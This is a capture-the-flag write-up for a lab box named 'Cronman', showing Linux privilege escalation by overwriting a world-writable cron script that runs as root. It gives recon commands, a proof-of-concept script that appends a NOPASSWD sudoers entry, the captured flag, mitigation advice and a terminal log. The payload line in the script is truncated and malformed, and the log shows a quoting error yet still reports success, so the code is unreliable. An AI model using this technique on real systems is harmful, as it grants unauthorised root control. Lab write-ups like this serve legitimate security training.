

Cronman - Linux Privilege Escalation via World-Writable Cron Script

Box: Cronman

IP: 172.31.26.245

Initial Access: `user:user` (SSH)

Vulnerability: World-writable cron script running as root

Flag: `ctf{Teed2aic2aiGoikiej7ayahn0aimoh3m}`

Step 1: Initial Recon - Check System Crontab

After SSHing with `user:user` , examine `/etc/crontab` for scheduled tasks:

```
ssh user@172.31.26.245 #  
password: user
```

```
cat /etc/crontab Finding:
```

```
*/2 * * * * root /opt/scripts/backup.sh
```

A bash script runs **every 2 minutes** as **root**. This is our attack vector.

Step 2: Examine the Vulnerable Cron Script

Check permissions and contents of the target script:

```
ls -la /opt/scripts/ cat  
/opt/scripts/backup.sh
```

Output:

```
-rwxrw-rw- 1 root root 122 Aug 27 2023 backup.sh
```

```
#!/usr/bin/bash
```

```
rm /var/backups/backup.zip
7z a /var/backups/backup.zip /var/www/html/ chmod
600 /var/backups/backup.zip
```

Vulnerability Identified

The file has permissions ~~rwxrw-rw-~~ **rwxrw-rw- (766)** — it is **world-writable**. Any user on the system can modify this file. Since it executes as root via cron, we can inject arbitrary commands.

Step 3: Exploit - Overwrite with Privilege Escalation Payload

Overwrite the script to add **user** to sudoers with full NOPASSWD privileges:

```
# cronman-poc.sh

TARGET="172.31.26.245" PASS="user"

echo "[*] Deploying privilege escalation payload..." sshpass -p "$PASS"
ssh -o StrictHostKeyChecking=no "$USER@$TARGET" \      "printf
'#!/usr/bin/bash\n\nnecho \"user ALL=(ALL) NOPASSWD: ALL\" >>

echo "[*] Payload deployed. Waiting for cron job (up to 2 minutes)..."
sleep 90

echo "[*] Attempting privilege escalation..."
FLAG=$(sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no "$USER@$TARGET"
"sudo cat /root/flag.txt 2>/dev/null")

echo "[+] Flag: $FLAG"
```

Additional Users Discovered on System

Username	UID	Home Directory
shagith	1000	/home/shagith

rsa-key-20230610	1001	/home/rsa-key-20230610
codacker	1002	/home/codacker
user	1003	/home/user

Mitigation

- Cron script directories should be owned by `root:root` with permissions **755** (not worldwritable)
- Script files should have permissions **750** or **700**
- Use immutable attribute on critical scripts: `chattr +i /opt/scripts/backup.sh` Avoid
- running user-writable scripts as root via cron

```

--(venv)--(kali@kali)-[~]
--$ bash poc.sh
[*] Deploying privilege escalation payload...
spawn ssh -o StrictHostKeyChecking=no user@172.31.26.245
* WARNING: connection is not using a post-quantum key exchange algorithm.
* This session may be vulnerable to "store now, decrypt later" attacks.
* The server may need to be upgraded. See https://openssh.com/pq.html
user@172.31.26.245's password:
Linux ip-172-31-26-245 5.10.0-42-cloud-amd64 #1 SMP Debian 5.10.251-4 (2026-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 13 11:53:55 2026 from 172.31.4.41
user@ip-172-31-26-245:~$ extra characters after close-quote
while executing
send "printf '#!/usr/bin/bash\n\nnecho "u"
[*] Payload deployed. Waiting for cron job (up to 2 minutes)...
[*] Attempting privilege escalation...
spawn ssh -o StrictHostKeyChecking=no user@172.31.26.245
* WARNING: connection is not using a post-quantum key exchange algorithm.
* This session may be vulnerable to "store now, decrypt later" attacks.
* The server may need to be upgraded. See https://openssh.com/pq.html
user@172.31.26.245's password:
Linux ip-172-31-26-245 5.10.0-42-cloud-amd64 #1 SMP Debian 5.10.251-4 (2026-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 13 12:04:55 2026 from 172.31.4.41
user@ip-172-31-26-245:~$ sudo cat /root/flag.txt
ctf{Teed2aic2aiGoikiej7ayahn0aimoh3m}
user@ip-172-31-26-245:~$ exit
logout
Connection to 172.31.26.245 closed.

```